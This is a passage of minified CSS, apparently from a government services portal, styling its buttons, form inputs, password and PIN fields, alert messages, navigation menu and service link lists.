[role='button'],footer[role='contentinfo'] [type='submit'],footer[role='contentinfo'] [type='reset'],footer[role='contentinfo'] [type='button']{background-color:transparent;color:#333;border-color:#333;text-align:center}footer[role='contentinfo'] button:before,footer[role='contentinfo'] .button:before,footer[role='contentinfo'] [role='button']:before,footer[role='contentinfo'] [type='submit']:before,footer[role='contentinfo'] [type='reset']:before,footer[role='contentinfo'] [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}footer[role='contentinfo'] button:hover,footer[role='contentinfo'] button:focus,footer[role='contentinfo'] .button:hover,footer[role='contentinfo'] .button:focus,footer[role='contentinfo'] [role='button']:hover,footer[role='contentinfo'] [role='button']:focus,footer[role='contentinfo'] [type='submit']:hover,footer[role='contentinfo'] [type='submit']:focus,footer[role='contentinfo'] [type='reset']:hover,footer[role='contentinfo'] [type='reset']:focus,footer[role='contentinfo'] [type='button']:hover,footer[role='contentinfo'] [type='button']:focus{background-color:#333;color:#fff}footer[role='contentinfo'] button:active,footer[role='contentinfo'] .button:active,footer[role='contentinfo'] [role='button']:active,footer[role='contentinfo'] [type='submit']:active,footer[role='contentinfo'] [type='reset']:active,footer[role='contentinfo'] [type='button']:active{background-color:#222}.button-back{display:inline-block;position:relative;margin-left:1em;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-back:before{content:'';position:absolute;top:-6px;right:2.7em;display:block;width:1.2em;height:2em;background-repeat:no-repeat;background-position:right .4em;background-size:1.125em auto;background-image:url("../icons/chevron-left.svg")}.button-back:hover,.button-back:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-close{display:inline-block;position:relative;margin-left:0;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-close:hover,.button-close:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-back-home:before{right:6.7em}.expand,.dismiss{background-color:transparent;background-position:center center;background-repeat:no-repeat;border:0;right:0;position:absolute;top:0;width:auto}.expand{background-image:url("../icons/error-down.svg")}.dismiss{background-image:url("../icons/dismiss-x.svg")}.help-info-button{all:initial;font-family:inherit;display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;font-size:inherit;line-height:inherit}.help-info-button::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-button[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-button:hover{color:#fff;background-color:#0f6493;text-decoration:none}.card-grid .card-tile{width:100%}@media screen and (min-width:576px){.card-grid{-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.card-grid .card-tile{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-box-flex:0;-webkit-flex:0 1 49%;-ms-flex:0 1 49%;flex:0 1 49%;margin-right:2%}.card-grid .card-tile:nth-child(2n){margin-right:0;border-right:0}}@media screen and (min-width:992px){.card-grid .card-tile{-webkit-box-flex:0;-webkit-flex:0 1 32%;-ms-flex:0 1 32%;flex:0 1 32%}.card-grid .card-tile:nth-child(2n){margin-right:2%}.card-grid .card-tile:nth-child(3n){margin-right:0;border-right:0}}.card{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:16px;padding:1rem;position:relative;text-align:center;text-decoration:none}.card:hover,.card:active{background-color:#fff;color:#333}.card:active{border-color:#ccc}.card img{color:#333;height:60px;width:90%}.card__title{background-color:#eee;bottom:0;display:block;left:0;padding:8px 4px 8px 4px;position:absolute;width:100%;font-size:16px;border-top:1px solid #ccc;height:60px}.card__title span{position:relative;top:50%;display:block;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.card:hover .card__title,.card:active .card__title{text-decoration:underline}.card:active .card__title{background-color:#ccc}.card--link{background-color:#eee;background-image:url("../icons/link-service.svg");background-position:center 25%;background-repeat:no-repeat;border-color:#026540;color:#fff}.card--link .card__title{background-color:#026540}.card--link:hover,.card--link:active{background-color:#eee;color:#fff}.card--link:active{border-color:#027e50}.card--link:active .card__title{background-color:#027e50}.card--quicklinks{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:1em;padding:.5em;position:relative;text-align:left;text-decoration:none;width:100%}@media screen and (min-width:992px){.card--quicklinks{width:32%}}.card--quicklinks h3,.card--quicklinks #poro-form #modal-title,#poro-form .card--quicklinks #modal-title,.card--quicklinks .poro-form #modal-title,.poro-form .card--quicklinks #modal-title{margin:0}.card--quicklinks .info{display:block}@media screen and (min-width:576px){.card--quicklinks .info{margin-bottom:1em}}@media screen and (min-width:576px){.card--quicklinks .notlinked{display:block}}.card--quicklinks .linked{display:block;margin-top:1em}.card--quicklinks img{padding-top:.4em;margin-left:.5em;height:1.5em;position:absolute}.card--quicklinks .quicklinks-arrow{display:inline}form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{width:100%;border:1px solid #999;border-radius:0;background-color:#fff;padding:.7em;display:block;margin:6px 0 6px;overflow:visible;max-width:42em}form [type='text']::-ms-clear,form [type='number']::-ms-clear,form [type='tel']::-ms-clear,form [type='email']::-ms-clear,form [type='password']::-ms-clear,form textarea::-ms-clear,form [type='radio']::-ms-clear,form [type='checkbox']::-ms-clear{display:none}@media screen and (min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form [disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service 